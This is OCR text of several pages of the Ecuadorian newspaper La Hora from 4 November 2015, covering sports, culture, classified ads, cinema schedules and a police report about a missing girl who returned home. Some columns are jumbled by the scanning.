Uruguay tampoco tendrá a Suárez, entonces, están en desventaja los dos equipos”. En tanto, el referente del cuadro ambateño, considera que en la posición de Valencia podría suplirlo Renato Ibarra. “Valencia es un plus, ojalá Uruguay lo pueda aprovechar. Aunque, tienen un habilidoso como Ibarra, que es un jugador también de mucho cuidado”. Divididos

Repetto indicó que respeta mucho a Ecuador por la oportunidad de dirigir y se siente orgulloso de su país de origen, por lo que evitó dar pronósticos. “Es duro, pero en todo caso, que sea un partido bonito para la vista de todos”. (SJMS)

1 0

MANCHESTER UNITED

CSK

PSG

ESPAÑA, EFE • El Real Madrid firmó su clasificación matemática a octavos de final de Liga de Campeones en el duelo por el liderato del Grupo A con un PSG superior, víctima de un error de su portero del que sacó oro Nacho y la mala fortuna, con tres disparos al poste, que dejaron en nada la exhibición de Di María. El Bernabéu asistía al primer duelo de enjundia en la temporada del Real Madrid de Benítez como local. Transitaba hasta la fecha entre alguna goleada aislada, encuentros desaprovechados para instalar el optimismo en su

DESTACADO. Nacho celebra el gol del triunfo del Real Madrid. EFE

parroquia ante rivales de un perfil bajo y puntos cedidos frente a un rival de otra liga, como el Málaga. El PSG era una perfecta vara de medir y en París el empate sin goles supo a victoria e invitó a unas conclusiones exageradas desde el propio vestuario.

Rooney castiga al CSKA

Reino Unido, EFE • Un tanto de Wayne Rooney a 10 minutos para el final castigó ayer a un rácano CSKA Moscú en Old Trafford y dio al United un triunfo vital, que lo coloca con pie y medio en octavos de final de la Liga de Campeones. EFE

Ecuador en el Mundial de Portugal

cronos D

miércoles 04 de NOVIEMbre de 2015 La Hora Quito, ecuador

A9

Boca y Rosario van por la Copa Argentina Boca Juniors y Rosario Central se enfrentarán en la final de la Copa Argentina este miércoles a las 21:10 hora local (19:10 de Ecuador) en la provincia de Córdoba, en el centro del país. Boca Juniors, que se consagró campeón este domingo de la Liga argentina una fecha antes de la finalización del certamen, buscará volver a ganar la Copa Argentina, que ya obtuvo en 2012 El entrenador del equipo, Rodolfo Arruabarrena, podrá disponer de todos sus jugadores con la excepción de Fernando Gago quien se encuentra recuperándose de una lesión en el tendón de Aquiles. “El miércoles ante Central tenemos otra final y una nueva posibilidad de conseguir otra estrella”, dijo un exultante Arruabarrena. En tanto, el centrocampista uruguayo Nicolás Lodeiro sostuvo que la final de la Copa Argentina enfrentará a “los dos mejores equipos del torneo argentino” y que “sería lindo ganar la Copa”.

Buenos Aires, EFE •

Karting

Experiencia. Henry Taleb Jr. ya sabe lo que es participar en un Mundial de Karting.

Villacís, Taleb Jr y Larrea representarán al país como campeones nacionales. Los pilotos campeones de todo el mundo se darán cita en el Mundial de karting Rotax Max Challenge el 8 de noviembre en Portugal. Ecuador estará representado por Juan Diego Villacís, Henry Taleb Jr y Patricio Larrea. “Mi expectativa es estar entre los primeros y mi objetivo es pelear por la victoria. Voy a darlo todo y no me conformo con estar en el top ten. Por el contrario,

quiero dar batalla en los primeros lugares”, dijo Juan Diego Villacís, quien adelantó que está preparándose “en las mismas condiciones que se cumplirá el Mundial. Patricio Larrea hará lo propio en la divisional DD2 Master, una categoría que utiliza motores de dos marchas, con una potencia de 34 HP. “En 2013 clasifiqué directo a la final y llegue a estar en

el top ten, hasta que un choque me dejó con las manos vacías. Con esa experiencia me tengo mucha fe para este nuevo Mundial”, dijo el ‘Pato’. El más experimentado en este tipo de competencias es Henry Taleb Jr, quien se presentará por cuarta vez en un Mundial, esta vez en la categoría DD2 Senior. “Me deja tranquilo que ya conozco mucho de la puesta a punto del chasis y del motor. Con eso espero pelear bien adelante. Mi objetivo primero es entrar a la final y a partir de ahí buscar el mejor lugar en el clasificador definitivo”, comentó. (WOM)

Programación Mundial de karting

° Domingo 8 de noviembre: Inscripción ° Lunes 9 de noviembre: Sorteo de karts, motores y equipamiento ° Martes 10 de noviembre: Entrenamientos libres ° Miércoles 11 de noviembre: Entrenamientos y Clasificaciones ° Jueves 12 de noviembre: Heats ° Viernes 13 de noviembre: Heats y Second chance race ° Sábado 14 de noviembre: Finales

Mourinho niega una rebelión contra él, en el Chelsea Londres, EFE • El entrenador del Chelsea, José Mourinho, negó ayer que haya una rebelión contra él en el vestuario de Stamford Bridge motivada por la racha de malos resultados que acumula el equipo. Ante los rumores en los medios británicos de que algunos jugadores están en contra de que el luso siga al mando de la plantilla, Mourinho dijo en rueda de Criterio. El DT Mourinho durante la prensa que se trata de “una acu- rueda de prensa del Chelsea. EFE sación muy triste”. “minirevuelta” entre la “Estás acusando a uno o más jugadores de ser des- TOME NOTA plantilla del Chelsea. “Quiero clarificar que, honestos y yo te acuso a ti al contrario de lo que dicen de ser un periodista deshoalgunas informaciones, esnesto”, respondió Mourin- Roman Abramovich toy extremadamente conho a una pregunta sobre la rechazó una oferta de 50 tento en el Chelsea y que supuesta rebelión. millones por el La cadena BBC infor- DT del Chelsea, tengo una excelente relaJosé Mourinho ción con el entrenador”. mó que un jugador del El Chelsea, que hoy juequipo, al que no nombró, ha declarado que prefería perder gará ante el Dinamo de Kiev en antes que ganar un partido a las la Liga de Campeones, ha perdido seis de sus 11 partidos esta órdenes del portugués. Un blog deportivo británico temporada en la liga inglesa, un acusó además al español Cesc escenario que ha dejado a MouFàbregas de haber liderado una rinho en la cuerda floja.

Racha. Jugadores de Boca Juniors festejan la obtención del título local. EFE

Alineaciones Boca Juniors

El León y Chivas con Almeyda disputan la final de la Copa MX

El León y las Chivas, dos equipos de tradición en México, definirán hoy al campeón de la Copa MX del Apertura 2015 en una final en la que los técnicos argentinos Juan Antonio Pizzi y Matías Almeyda buscarán su primer título en el fútbol mexicano. EFE

Aa. Orión G. Peruzzi D. Díaz F. Tobio L. Monzón C. Erbes P. Pérez M. Meli N. Lodeiro C. Tévez J. Calleri DT: Rodolfo Arruabarrena

vs.Rosario Central M. García V. Salazar A. Donatti J. Pinola C. Villagra W. Montoya D. Musto F. Cervi J. Fernández M. Larrondo M. Ruben DT: Eduardo Coudet

Hora: 19:10 Árbitro: Diego Ceballos Estadio: Mario Alberto Kempes (Córdoba)

CRONOS a10

miércoles 04 de NOVIEMbre de 2015 La Hora Quito, ecuador

D

minutero

Quiere una medalla como regalo Edith Ortiz

La judoca cumplió años y espera ganar una presea en el Campeonato de Argentina. Del Potro no sabe cuándo volverá

El tenista argentino Juan °Martín del Potro dio ayer detalles de su recuperación y dijo que “no hay dudas” de que volverá al circuito aunque todavía no sabe “cuándo y dónde”, tras siete meses de inactividad y una serie de operaciones.EFE

Bruzón gana título de ajedrez cubano Lázaro Bruzón °seElproclamó ayer en Bilbao

campeón iberoamericano de ajedrez por segunda vez en el corto historial de seis ediciones de esta competición, en la que Julio Granda (Perú) y Axel Bachmann (Paraguay) se colgaron al cuello las medallas de plata y bronce.EFE

GUAYAQUIL • La judoca pichinchana Edith Ortiz quedó lista para intervenir en el Campeonato Sudamericano y Panamericano, a desarrollarse en Córdova- Argentina. Ella se mostró positiva y cree que podría quedarse con una de las tres medallas del evento. Aunque, sabe que estarán rivales experimentadas en su categoría (64 kilos). “Me siento emocionada. Conozco que será fuerte por el número de países, pero me esforzaré bastante para traer una presea al país”, indicó. Ortiz, de 14 años, confiesa que siente un poco de nervios y ansiedad. Sin embargo, su entrenador, Gastón Pacheco, le hizo un par de recomendaciones. “Me dice que no me asuste de mis contrincantes, aunque sean más altas que yo. Para él soy la mejor de mi categoría y eso me llena de orgullo. Espero no defraudarlo, además tengo el respaldo de mis padres y compañeros”, exteriorizó.

Experiencia y preparación

Se siente relajada porque esta no es su primera salida internacional. Ya estuvo en la Copa Abierta de Florida- EEUU, en julio pasado. Allá conquistó dos medallas de oro. “Ojalá en Argentina me vaya igual de bien que en los Estados Unidos. Sé que todos los torneos no son iguales, pero las ganas y entusiasmos sí”, dijo. Recientemente estuvo en un

Deportista

Datos biográficos Edith Alejandra Ortiz Carrión ° Nombre: de Nacimiento: 2 de noviembre °deFecha 2001 Pichincha ° Provincia: Judo ° Deporte: ° Categoría: 64 kilos

Ranking Nacional en Guayas, donde obtuvo un segundo lugar y después se quedó con el primer lugar del Campeonato en Guaranda. También Copa Tashiwasa y ganó el segundo puesto Inicios

Comenzó desde los 12 años en el deporte porque le emocionó observar competencias en televisión. “Es bonito porque te ayuda a relajar y mejorar como persona”, señaló. Su primera competencia fue en el Campeonato ‘Fundación de Cuenca’, donde se quedó con el cuarto puesto. “Eso para mí es mucho, porque eran mis inicios y mis padres estaban contentos”, comentó. Es consciente que le falta mejorar sus técnicas, pero cree que su fuerte es el contraataque. “Siempre estoy atenta a los ataques, no me desespero”. Tiempo

Además, dijo que el judo le ayudó a ser responsable y organizada. Esto, porque debe distribuir

Davis Ferrer y Wawrinka alcanzan los octavos de final

Proponen Liga de Campeones de Baloncesto

FIBA propuso ayer a °unaLarepresentación de los principales clubes europeos y de la Euroliga la creación de una Liga de Campeones de baloncesto que empezaría a funcionar a partir de la temporada 2016-2017. EFE

Redacción deportes, EFE • El español David Ferrer y el suizo Stan Wawrinka sellaron su paso a los octavos de final del Masters 1.000 de París, sin ceder un set, ante el ucraniano Alexandr Dolgopolov y el australiano Bernard Tomic. Solo una hora necesitó Ferrer, campeón en 2012 y finalista en 2013 en desembarazarse de Dolgopolov, por 6-2 y 6-2, y marcar su 53 victoria esta temporada en la que se incluyen cinco títulos, el último en Viena. Ferrer se enfrentará en dieciseisavos con el ganador del encuentro entre el croata Ma-

Logros. Edith Ortiz muestra sus medallas ganadas.

Nutrida delegación ‘Tricolor’ ° Un total de 11 judocas ecuatorianos participarán en el Campeonato Sudamericano y Panamericano que se realiza en Córdova, Argentina, y finalizará

el domingo 8 de noviembre. El combinado ‘Tricolor’ fue electo por la Comisión Técnica de la ecuatoriana de este deporte, tras un Tope Ranking Nacional que se desarrolló en Guayaquil y Bolívar. Fernando Ibáñez, titular de la FEJ, confía en que los judocas puedan traer un gran número de medallas, por lo demostrado en torneos de preparación y entrenamientos. “Van los más destacados del país y los futuros medallistas internacionales”. Cabe mencionar que en la nómina constan deportistas de Guayas, Morona Santiago, Los Ríos, Cañar y Pichincha.

su tiempo entre sus estudios y preparación. Está en el colegio Mejía de Quito y se entrena en la Concentración Deportiva de

Pichincha. “Para llegar lejos hay que hacer sacrificios. Solo es de organizarse un poco en las actividades”, finalizó. (SJMS)

LeBrebon James logra un récord en la NBA

ElastrocanasteroLeBronJamesseconvirtióenel jugadormásjovenenllegar a 25.000 puntos en su carrera en la NBA, en una victoria de sus Cleveland Cavaliers sobre los Filadelfia 76ers con marcador de 107-100. EFE

Desempeño. David Ferrer durante el juego que gan´po en París. EFE

rin Cilic y el búlgaro Grigor Dimitrov. Mientras, el suizo Stan Wawrinka debutó en el torneo con una victoria ante el australiano Bernard Tomic, por 6-3 y 7-6 (6) en una hora y 32 minutos. De ganar en este torneo, Stan se convertiría en el primer jugador en lograr el doblete de París (Roland Garros-Masters 1.000)

cultura

Gabo quería hacer una película

Rodrigo García, el hijo cineasta de Gabriel García Márquez, confesó durante un simposio en EE.UU. que su padre siempre tuvo “la ilusión de hacer una película”, pero que a diferencia de sus facetas literaria y periodística, en esta “fracasó” en el intento. El cineasta que García Márquez llevaba dentro despertó en 1954, cuando colaboró en la ciudad de Barranquilla (Colombia) en la realización del cortometraje surrealista ‘La langosta azul’, y más tarde, cuando vivía en Europa, estudió cine en Roma. EFE

I

miércoles 04 de NOVIEMbre de 2015 La Hora Quito, ecuador

A11

Expertos descubren un dibujo de ‘El Bosco’

Descubra ‘lo que hablan las mujeres’ OBRA. Los actores ensayando en el Teatro CCI, previo a la función.

COMEDIA

Una obra escrita por la venezolana Leticia Quiñones Pons y dirigida por el argentino Sergio Podeley.

Usted se imagina de qué no nión permitirá ver los distintos mas podrían hablar tres ami- puntos de vista que tienen sobre su vida íntima y que gas reunidas en la sala de una casa. Los temas po- tome nota de alguna manera representa las formas de drían ser interminables pensar de las mujeres”, y el tiempo de igual forfunciones comentó Quiñones, auma. Pero en esta ocasión, Las son viernes y tora de la obra. Andrea (Solange Viteri), sábados a las y los Marti (María Mercedes 20:00 domingos a las Pérez) y Gaby (Leticia 18:00. Entrada: Puesta butacas laterales Quiñones Pons) hablarán $20, butacas Esta comedia, que nació centrales $26 de sexo tántrico. con pequeñas ideas en (descuento de A lo mejor muchos ya 50% para terce- Venezuela (país natal edad y disca- de la autora) y que se se habrán sonrojado. Es ra pacitados, y de 30% para estu- concretó en el país con que el tema sexual aún sigue siendo un tabú, pero diantes). el apoyo de María Merpara que todo miedo y cedes Pérez (productorecelo están las vivencias El Dato ra y actriz de la obra), de estas tres damas que se elevará su tema central encuentran atravesando La obra se pre(sexo tántrico) a partir en el Teatro de un programa de rasu cuarta década. Cada senta CCI hasta el 6 de una con su forma distinta diciembre. dial donde un terapeuta de vivir se despojarán de sexual se tome la sala de toda máscara y empezaesta casa con un tratarán a vivir la gran fantasía miento que dejará más de su vida. que contentas a estas féminas. “Estas tres mujeres con esAndrea es una mujer casada tilos de vida muy distintos son por más de 20 años. Lleva un amigas y se adoran. Se conocen matrimonio estable y feliz. Al patodo la una de la otra. Esta reu- recer no le faltaría nada en la vida

ya que alcanzado ser lo que siempre soñó, pero vivir una fantasía no le caerá nada mal. Marti es la descomplicada del grupo. Disfruta de su vida de soltera al máximo, no le importa si le critican, y ama decir las cosas sin ‘pelos’ en la lengua. Es la que pondrá la chispa en escena. Y Gaby es la divorciada, su actual estado ha hecho que su vida se guíe más en la parte sexual. Cada una, desde sus estilos de vida, intentarán pasar la fantasía que siempre han querido. “No se trata de una obra feminista, ni lanzar dardos a los hombres sino más bien que haya una reflexión y un entendimiento de integración con la pareja. Es un llamado de atención tanto para hombres y mujeres”.

Un dibujo que se encontraba hasta ahora de manera anónima en una colección privada ha sido descubierto por expertos internacionales y certificado como obra auténtica de Hieronymus Bosch, ‘El Bosco’, el pintor medieval más importante de Holanda. Así lo informó el Museo Noordbrabants de Bolduque. El dibujo, que hasta ahora había sido atribuido a “un asistente del asistente” del taller del propio pintor (1450-1516), se expondrá por primera vez en una gran retrospectiva sobre la obra de ‘El Bosco’ en el Museo Noordbrabants del 13 de febrero al 8 de mayo de 2016 con motivo de los 500 años de la muerte del pintor. La obra, titulada ‘Paisaje infernal’, ha sido descubierta por expertos del Proyecto de Investigación y Conservación de ‘El

Bosco’ -una investigación histórico-artística internacional- que durante los últimos seis años han estudiado y documentado de forma intensa y sistemática prácticamente toda la obra del maestro con las técnicas más innovadoras. Por su parte, los expertos también llegaron a la conclusión de que el famoso ‘Cristo con la Cruz a cuestas’ que se conserva en Gante (Bélgica) no fue pintado por el maestro. Expresaron asimismo sus dudas sobre ‘Los Siete Pecados Capitales’ del Museo del Prado de Madrid. El historiador de arte y coordinador del proyecto, Matthijs Ilsink, calificó de “hallazgo extraordinario” el descubrimiento del dibujo, que muestra una escena extraña llena de monstruos fantásticos y bestias diabólicas. EFE

Ópera hecha con todas ‘las de ley’ Con un equipo de 20 músicos, 12 Laura Corral, Cristina Duque, vocalistas, 13 bailarines, 30 téc- Gabriela Paredes y Gabriela nicos entre gente de vestuario, Minda, junto a los músicos Maumaquillaje, elementos aéreos, ricio Vicencio, Cayo Iturralde, audio, iluminación y equipo de Carlos Arboleda, Christian Hicamarógrafos, se desarrollará drobo, entre otros. ‘Ópera iO’ incorpora en su la presentación de la ópera ‘iO’, creada y dirigida por el artista escenografía, utilería y vestuario con colores, texturas Caspian Es. Este montaje, nun- tome nota y formas empleadas por distintas tradiciones esca antes visto en el país, pirituales del mundo. recrea el viaje de auto- ‘Ópera iO’ se descubrimiento de ‘iO’, estrenará maña- Desde Oriente hasta Occien el Teatro dente, pasando por la mipersonaje enigmático que na Nacional de la Casa de la rada clásica de los griegos interactúa con una comhasta el shamanismo y lo putadora cósmica a través Cultura Ecuatoriana, a cristiano, para dibujar un de la danza para navegar las 20:00. Entrada: $25 el contenido audio-visual luneta, $60 pla- espacio donde convergen la sensibilidad humana, de cuatro libros virtuales. tea y $80 VIP. más allá de muros insta“Hacer una película es infinitamente más sencillo que lados por idiomas y geografías. Este montaje representa la montar una ópera original en vivo. Esto es liga mayores”, ex- esencia de la condición humana y pone en movimiento, a través presó Caspian. La puesta en escena combina- de la danza, el ritmo de la pulsará: música, danza, pintura, video ción del cosmos, que se encuenmapping y cine. Donde partici- tra contextualizado con notas de parán bailarines y actores como, instrumentos musicales. (MJC)

El picante

Luis (Juan Andrés Saa) es el rostro del protagonista para cumplir la fantasía de estas mujeres. Él será el encargado de despertar la ‘doctrina’ tántrica que cada una de ellas guarda. Este hombre (que caracterizará a cinco personajes) se convertirá en el “cuerpo del deseo” del “que hablan las mujeres” y ellos deberían saber. (MJC)

MONTAJE. Las Sombras Gemelas ‘Deimo’ (Cristina Duque) y ‘Fobo’ (NaDinka Flores) transformadas en Víboras.

avisos A12

BIENES RAÍCES

QUITO Planta Editora Av. Galo Plaza Lasso N62-08 y Nazareth Teléfono PBX 2475-724 Fax Secretaría: 2476-085 Fax Publicidad: 2485-708 Fax Redacción: 2483-742 e-mail de publicidad: fplanta@lahora.com.ec

Agencia 1

P

Agencia 2

vendo terreno 174 m2 Cdla. Cumandá / Cerca al Centro. Inf.: 032411738 - 099221206 *80792 Cotopaxi De oportunidad vendo lote de 700 mts2, ciudadela El Maestro, calle Los Chamburos y Aceitunas. Informes: 2424691099047325. Cotopaxi

VARIOS SOLO… SOLA? ENCUENTRA A TU MEDIA NARANJA CON FINES SERIOS. OFICINA: 02 2544-972 CEL: 0939-755-048, www.agenciamatrimonialquito.com.ec CONSULTORIO PSICOLOGICO P AR/101352/AG

TERRENOS Vendo terreno de 320 m2 con todos los servicios básicos en el sector Baños parroquia Ulba, en el centro muy turístico. Teléfono 092646343 – 090840697. Washinton Luna *80878 a(31 jul). Cotopaxi

SERVICIOS

VARIOS

Reina Victoria N23-55 y General Baquedano Teléfonos: 2503-266 / 2222-405 / 2222-406 Fax: 2228-918 e-mail: freina@lahora.com.ec

E

Av. Eloy Alfaro N39-219 y José Puerta Teléfonos: 6010303/ 6035249 6014-974 Fax: Ext 112 e-mail: fbatan@lahora.com.ec

C

Agencia Guayaquil

LOJA

C

IMBABURA Y CARCHI

Lote de terreno 200 m2. en el sector del barrio El Socavón. Tlf. 2-451521. Cotopaxi Terrenos de 1560 - 820 m2. Informe teléfono 084214729. Cotopaxi

De oportunidad vendo terrenos de: 2.000 mts en la loma de Bellavista. 500 mts en el centro de Patate junto al mercado Informes: 094186797 / 032840379. Cotopaxi

se vende un terreno en Izamba sector Yacupamba, cercano a la vía a Píllaro, al paso lateral y panamericana norte, área 7222 m2. Informes al cel. 098593101 - 091403515. Cotopaxi

Vendo terreno 10200m2 OPORTUNIDAD Se vende lote de terreno 600 mts con vivienda y cerramiento La Concepción Inf. Telf. 2424047 - 099162818 *80819 Cotopaxi

Terreno en Pelileo 382 m2. Inf. 095005708. Cotopaxi

Oportunidad Vendo un terreno tras el seminario (camino - antiguo a Santa Rosa esquinero 435 m2. Telf. 032844896. 087118089 * 80793 Cotopaxi Oportunidad Se vende un terreno en Izamba sector Yacupamba

Terreno esquinero tras estadio Bellavista 95 m2. Manabí y Chone. Inf. 095403009. Cotopaxi Uubanización Aeropuerto 288 m2. plano $ 11.800, listo para construir. 2400256 097785097. Cotopaxi 6.000 m2. todos los servicios, 26 metros de frente a la calle, tras Moteles Mónaco,

I

Agencia Loja Imbabura 1548 y 18 de Noviembre. Ed. COVISA Telefonos 072577-099/ 2578-848 / 2585-805 e-mail: loja@lahora.com.ec Planta Editora Imbabura 1548 y 18 de Noviembre Telefax: 07 2579-848

Víctor Emilio Estrada 814 A entre Guayacanes e Higueras Teléfonos: 04 2385-981 / 04 2385-973 e-mail: admguaya@lahora.com.ec

cercano a la vía a Píllaro, al paso lateral y Panamericana Norte. Area 7.222 m2 Informes al cel.: 098593101 - 091403515 *80801 Cotopaxi

Luis Márquez y Amazonas (esq.) Centro Comercial Reina del Cisne Local 19 Teléfonos:07 2606-750 e-mail: zamora@lahora.com.ec

Rocafuerte Telefax: 06 -612-661 / 2612-475 e-mail: ibarra@lahora.com.ec Agencia Tulcán Sucre entre Ayacucho y Junín. Ed. Burbano Segundo piso Of. 6 Telefax: 06 2984-551 / 06 2984-646

Clemente Ponce N45-119 y Piedrahíta Edificio Fenix PB Teléfax: 2560-734 / 2522-776 e-mail: fclemente@lahora.com.ec

Agencia Ibarra Calle Mejia 350 entre Sucre y

La Joya. Informes: 2424691099047325. Cotopaxi

Aproveche vendo bonitos lotes desde 360 Mts2 en Huachi

EMPLEOS

Agencia 3

S

miércoles 04 de NOVIEMBRE de 2015 La Hora QUITO, ecuador

TRANSPORTE

COMPRA VENTA RENTA DE TERRENOS, CASAS, DEPARTAMENTOS Y OFICINAS, VEHÍCULOS, OPORTUNIDADES DE TRABAJO, CURSOS DE CONSTRUCCIÓN, CONSULTORÍA, OBJETOS, ELECTRODOMÉSTICOS, MUEBLES, ETC.

3 lotes seguidos de 250 m2. Tras Seminario de Ingahurco, excelente vista incluye cerramiento, $100 c/m2. Entrando por la vulcanizadora, informes casa amarilla, propietario. Telf. 2823422, 099734844. Cotopaxi

TUNGURAHUA

ESMERALDAS

Bolívar y Rocafuerte (esq.) Cuarto piso Teléfonos: 06 2724-490 / 06 2723-882 06 2723-866 E-mail: esmeraldas@lahora.com.ec Agencia Quinindé Av. Simón Plata Torres y Av. 5 de Junio Teléfonos: 06 2736-154

O

N

Calle Quito N0245 entre Bolivar y Rocafuerte Teléfonos: 03 421730 / 03 2420-529 e-mail: ambato@lahora.com.ec

E

LATACUNGA

S

General Maldonado N7-08 y Sánchez de Orellana Telefono: 03 2810-619 / 03 2811-009

SANTO DOMINGO

LOS RIOS

Av. June Guaman Cortes 611 y Décima Teléfonos: 05 2760-540 / 05 2760-541 e-mail: quevedo@lahora.com.ec Agencia Babahoyo

ZAMORA

$25 c/m2. Otro Tras Universidad Uniandes 4.000 m2. $25 c/m2. Negociable. 03-826306,099734844. Cotopaxi

10 de Agosto y Eloy Alfaro Ed. Shopping Rouse

SERVICIOS CONTABLES

SE ACTUALIZA CONTABILIDADES , IMPUESTOS SRI E IESS , ETC CEL 0986813345

Calle Pallatanga s/n entre Av. Quito y Guayaquil Teléfonos: 2761-876 / 2761-005 / 2763-759 Telefax: 2761-004 e-mail: santod@lahora.com.ec

ARRIENDO

Local Comercial Esmeraldas OE3 23 y Guayaquil teléfono 2959 - 462

PAC105115fa

PAC105113fa

Casa 3 departamentos completos, Tras Seminario de lngahurco. Recibo parte de pago propiedad de menor valor o auto, $180.000. 03-2826306, 099734844. Cotopaxi vendo departamento una cuadra mercado central, Floreana y Tío Pullo. # 086061521 - # 085691569. Cotopaxi CASA: sector Floresta El Paraíso a 2 cuadras de Miñarica 2, 253,77 mts2. de terreno y 80 mts. de construcción en la parte posterior. Telf. 03-2853077 - 088110273 Rbba. 032951217. Cotopaxi

Amplio departamento en Miraflores, todo nuevo. 099809300 - 412693 - 084199454. Cotopaxi VENDO o arriendo villa moderna en Samanga. Informes 2845088. Cotopaxi

PAB/12697/AS

Hermoso departamento en Quito, sector La Gasca, junto a la Universidad Central. Tel. 022567892 - 097593724. Cotopaxi

E cartelera de CINES EN QUITO CINEPLEX tumbaco Máxima Precisión 2D (Subtitulada) 17:55

21:40

Travesuras del amor 2D (Subtitulada) 18:15 20:05

Actividad Paranormal: Dimensión Fantasma 2D (Español) 16:10 19:55 Escalofríos 2D (Español) 19:30 21:30 El Principito 2D (Español) 14:05 16:10 La Cumbre Escarlata 2D (Español) 21:55 Peter Pan 2D (Español) 14:00 Hotel Transylvania 2 2D (Español) 14:15 16:00 17:45

CINEMARK El Último cazador de brujas 2D D-Box Subtitulada 14:10 16:35 19:05 21:30 El Último cazador de brujas 2D Doblada 20:00 22:25 Máxima precisión 2D Subtit. 14:20 16:40

19:00 21:20

Actividad Paranormal: Dimensión Fantasma 2D Doblada 13:40 Mision rescate 2D Subtitulada 16:10 Puente de Espías 2D Subtitulada 19:10 La Cumbre escarlata 2D Subtitulada 21:45 Escalofrios 3D D-Box Doblada 14:30 17:10 Actividad paranormal: Dimensión Fantasma 3D D-Box Doblada 19:40 Actividad Paranormal: Dimensión Fantasma 3D D-Box Subtitulada 21:55 Hotel Transylvania 2 2D Doblada 13:30 15:30 Hotel Transylvania 2 3D Doblada 17:30 Escalofrios 3D D-Box Doblada 19:30

SUPERCINES SAN LUIS El Último Cazador de Brujas Dob Dig

El Último Cazador de Brujas Dob Dig

Máxima Precisión Sub Dig 18h15 20h30 Travesuras del Amor Sub Dig 16h10 20h20 Zombie Massacre Sub Dig 18h50 20h50 Actividad Paranormal: La Dimensión Fantasma Dob 3D Dig 15h30 19h30 Actividad Paranormal: La Dimensión Fantasma Dob Dig 17h30 21h30 Escalofríos Dob 3D Dig 14h15 16h30 18h45

Máxima Precisión Sub Dig 14h30 16h45

14h20 16h40 19h00 21h20

21h00

Sin Escape Dob Dig 17h15 19h40 El Principito Dob Dig 15h20 17h40 La Cumbre Escarlata Dob Dig 21h10 Puente de Espías Dob Dig 19h50 Sicario Dob Dig 16h20 Vengo Volviendo Esp Dig 15h00 En la Cuerda Floja Dob Dig 15h45 Peter Pan Dob 3D Digital 16h00

MULTICINES CCI

SUPERCINES 6 DE DICIEMBRE 14h50 17h10 19h30 21h50 19h00 21h15

Travesuras del Amor Sub Dig 17h40 19h50 V/H/S Viral Sub Dig 17h30 19h40 Zombie Massacre Sub Dig 16h10 20h20 22h20 Actividad Paranormal: La Dimensión Fantasma Dob 3D Dig 15h20 17h20 19h20

21h20

Actividad Paranormal: La Dimensión Fantasma Dob Dig 14h30 16h30 18h30

20h30 22h30

Escalofríos Dob 3D Dig 14h45 17h00 19h15

21h30

Escalofríos Dob Dig 15h30 17h45 20h00 22h15 Sin Escape Dob Dig 18h15 El Principito Dob 3D Dig 18h20 La Cumbre Escarlata Dob Dig 18h40 21h10

2D El último cazado de brujas 16:10 18:35

21:00

2D Maxima precisión 14:10 16:30 21:25 2D Travesuras del amor 14:35 16:45 18:55 2D Vhs Viral 14:00 18:40 20:45 2D Masacre Zombie 13:45 15:55 20:35 3D Escalofrios 13:40 18:25 20:50 3D Actividad Paranormal 5 19:20 2D Actividad Paranormal 5 13:00 15:05 17:15 2D El Principito 13:25 15:50 18:15 2D Hotel Transylvania 2 14:20 16:25 18:30 2D Everest 18:50 21:25 2D Una razón para vivir 18:00 20:15 2D Sin escape 21:10 2D Mision rescate 20:40 2D La cumbre escarlata 16:05 2D Peter Pan 16:00 2D Puente de espías 13:20

MULTICINES EL RECREO 2D El último cazado de brujas 13:20 15:45 18:15 20:40 2D Maxima precisión 13:15 16:15 20:45 2D Travesuras del amor 14:35 16:45 18:55 Vhs Viral 14:20 16:20 18:25 20:35 2D Masacre Zombie 14:10 18:35 21:15 3D Hotel Transylvania 2 13:40 15:50 18:05 20:15

2D Hotel Transylvania 2 13:00 15:05 17:15

19:25 3D Escalofrios 13:50 16:10 18:30 20:50 2D Escalofrios 13:05 15:25 17:45 20:05 3D Actividad Paranormal 5 21:25 2D Actividad Paranormal 5 13:05 15:10 17:15 19:20 2D El Principito 14:00 15:35 16:25 18:00 18:50 20:25 2D Everest 18:10 20:50 2D Una razón para vivir 16:05 18:20

MULTICINES El CONDADO 2D El último cazado de brujas 15:50 18:15 20:40

2D Maxima precisión 13:15 15:35 21:20 2D Travesuras del amor 14:20 17:55 20:05 Vhs Viral 14:20 19:00 21:10 3D Escalofrios 13:50 18:35 20:55 3D Actividad Paranormal 5 19:15 2D Actividad Paranormal 5 13:00 15:05 17:10

2D El Principito 13:20 15:55 18:25 2D Hotel Transylvania 2 13:30 15:35 16:30

18:00 18:40 20:10 2D Everest 20:50 2D Una razón para vivir 20:45 2D Mision rescate 15:25 18:15 21:05 2D Sin Escape 13:05 2D La cumbre escarlata 16:25 2D Peter Pan 16:10 2D Puente de espías 13:00

Menor que desapareció por tres días regresó a su hogar

POLICIAL I

miércoles 04 de NOVIEMbre de 2015 La Hora Quito, ecuador

A13

Labores de inteligencia determinarán que es lo que pasó con la chica que volvió a su casa asustada y con otro vestido.

Una niña, que desapareció el rueda de prensa que se dessábado del sector de San Ro- plegó personal en el sector que, apareció ayer a las 08:30 de El Panecillo, La Libertad, de la mañana en su vivienda que se indagó entre los famicon otra ropa y conmocionada. liares y se realizó un barrido Ella tiene 8 años de edad y su incluso en terrenos baldíos pesadilla empezó cuando le aledaños a la zona, sin obteacompañó a un sujeto a cam- ner resultados. El caso fue difundido a trabiar un billete de 20 dólares. vés de varios medios de Según la versión de comunicación pero, para uno de sus familiares El Dato sorpresa de todos, la metodo ocurrió en una calle del Centro Histórico Entre las versio- nor apareció en su domien un ‘abrir y cerrar de nes se dice que cilio. Inmediatamente se niña fue llevaojos’. La madre de la la da a Riobamba y dio a conocer al personal de la Dinapen y se dispumenor, quien es comer- luego nuevamente trasladaciante (vendedora infor- da hasta Quito. so el traslado a la Unidad de Flagrancia donde se mal), dejó sola a la niña le practicaron algunos en el puesto de venta mientras se fue a realizar una exámenes cuyos resultados se entrega. Al regresar al puesto desconocen. la pequeña había desaparecido. El caso fue informado a las Detalles 18:45 al personal de la Direc- Según la versión de uno de sus ción Nacional Especializada familiares, la niña llegó con para niños y adolescentes otro tipo de vestimenta de la (Dinapen). Cinco equipos de que tenía. Ya no llevaba el cabúsqueda iniciaron las inves- lentador sino un vestido, traía tigaciones en los alrededores hasta otro tipo de calzado pero del sitio donde se presume fue nadie la acompañaba. secuestrada. La menor les contó lo que El coronel de Policía Ro- sucedió el sábado, le dijo a sus berto Enríquez informó en parientes que acompañó al

Sorpresa. Los familiares acudieron a la Dirección Nacional Especializada para niños y adolescentes (Dinapen) para continuar con las investigaciones.

